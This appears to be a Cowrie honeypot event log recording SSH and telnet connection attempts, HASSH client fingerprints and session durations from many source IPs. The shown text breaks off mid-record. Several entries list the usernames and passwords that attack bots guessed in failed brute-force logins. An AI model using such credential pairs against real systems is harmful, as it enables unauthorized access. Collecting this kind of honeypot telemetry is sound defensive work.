{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:07.053423Z","src_ip":"103.27.238.116","session":"5c9f03a16914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:07.319206Z","src_ip":"103.27.238.116","session":"5c9f03a16914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoriya","message":"login attempt [root/victoriya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:08.123821Z","src_ip":"103.27.238.116","session":"5c9f03a16914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:09.390394Z","src_ip":"103.27.238.116","session":"5c9f03a16914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.93463397026062,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:15.359851Z","src_ip":"107.6.151.170","session":"5fb532976bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48322,"dst_ip":"159.203.135.109","dst_port":23,"session":"af3dd4987ec6","protocol":"telnet","message":"New connection: 172.81.62.90:48322 (159.203.135.109:23) [session: af3dd4987ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:30:34.976608Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":43260,"dst_ip":"10.17.0.5","dst_port":22,"session":"2245b7e45fcb","protocol":"ssh","message":"New connection: 103.77.175.15:43260 (10.17.0.5:22) [session: 2245b7e45fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:02.873410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:02.877600Z","src_ip":"103.77.175.15","session":"2245b7e45fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:03.139248Z","src_ip":"103.77.175.15","session":"2245b7e45fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190787","message":"login attempt [root/190787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:03.912442Z","src_ip":"103.77.175.15","session":"2245b7e45fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:05.171815Z","src_ip":"103.77.175.15","session":"2245b7e45fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.516331911087036,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:13.492833Z","src_ip":"172.81.62.90","session":"af3dd4987ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42380,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aa27a1c162b","protocol":"ssh","message":"New connection: 27.71.230.31:42380 (159.203.135.109:22) [session: 7aa27a1c162b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:14.606942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:14.655486Z","src_ip":"27.71.230.31","session":"7aa27a1c162b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:14.999944Z","src_ip":"27.71.230.31","session":"7aa27a1c162b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":35646,"dst_ip":"159.203.135.109","dst_port":23,"session":"c71eb5ba0978","protocol":"telnet","message":"New connection: 102.37.220.188:35646 (159.203.135.109:23) [session: c71eb5ba0978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:18.134135Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:21.051132Z","src_ip":"27.71.230.31","session":"7aa27a1c162b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:22.449343Z","src_ip":"27.71.230.31","session":"7aa27a1c162b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39078,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3961976d84","protocol":"telnet","message":"New connection: 172.81.62.90:39078 (159.203.135.109:23) [session: fe3961976d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:25.713050Z"}
{"eventid":"cowrie.session.closed","duration":32.0399968624115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:31:50.174021Z","src_ip":"102.37.220.188","session":"c71eb5ba0978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":41714,"dst_ip":"10.17.0.5","dst_port":22,"session":"13756466bc85","protocol":"ssh","message":"New connection: 87.251.79.125:41714 (10.17.0.5:22) [session: 13756466bc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:02.553412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:02.557986Z","src_ip":"87.251.79.125","session":"13756466bc85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:02.625832Z","src_ip":"87.251.79.125","session":"13756466bc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06050403","message":"login attempt [root/06050403] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:02.839700Z","src_ip":"87.251.79.125","session":"13756466bc85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:03.910542Z","src_ip":"87.251.79.125","session":"13756466bc85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.05481815338135,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:04.767774Z","src_ip":"172.81.62.90","session":"fe3961976d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35892,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c2b2f1b6f4a","protocol":"ssh","message":"New connection: 80.94.92.184:35892 (159.203.135.109:22) [session: 8c2b2f1b6f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:46.497676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:46.517700Z","src_ip":"80.94.92.184","session":"8c2b2f1b6f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:46.790658Z","src_ip":"80.94.92.184","session":"8c2b2f1b6f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:49.381010Z","src_ip":"80.94.92.184","session":"8c2b2f1b6f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:32:51.120954Z","src_ip":"80.94.92.184","session":"8c2b2f1b6f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38634,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd5498a75d1","protocol":"telnet","message":"New connection: 172.81.62.90:38634 (159.203.135.109:23) [session: 6fd5498a75d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:33:09.172518Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":55696,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a55c2b97850","protocol":"ssh","message":"New connection: 72.17.34.38:55696 (10.17.0.5:22) [session: 1a55c2b97850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:33:10.250177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:33:10.254127Z","src_ip":"72.17.34.38","session":"1a55c2b97850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:33:10.288392Z","src_ip":"72.17.34.38","session":"1a55c2b97850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"password","message":"login attempt [gns3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:33:10.459240Z","src_ip":"72.17.34.38","session":"1a55c2b97850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:33:11.496080Z","src_ip":"72.17.34.38","session":"1a55c2b97850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.432183027267456,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:33:47.604585Z","src_ip":"172.81.62.90","session":"6fd5498a75d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":59350,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ebfdcaf1c4e","protocol":"telnet","message":"New connection: 102.37.220.188:59350 (159.203.135.109:23) [session: 7ebfdcaf1c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:00.414669Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59678,"dst_ip":"10.17.0.5","dst_port":22,"session":"59bcb2ce26fd","protocol":"ssh","message":"New connection: 51.250.105.222:59678 (10.17.0.5:22) [session: 59bcb2ce26fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:02.828851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:02.834510Z","src_ip":"51.250.105.222","session":"59bcb2ce26fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:02.961389Z","src_ip":"51.250.105.222","session":"59bcb2ce26fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:03.339634Z","src_ip":"51.250.105.222","session":"59bcb2ce26fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:04.470445Z","src_ip":"51.250.105.222","session":"59bcb2ce26fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56874,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c660c485fd4","protocol":"ssh","message":"New connection: 80.66.85.226:56874 (159.203.135.109:22) [session: 3c660c485fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:06.400051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:06.404439Z","src_ip":"80.66.85.226","session":"3c660c485fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v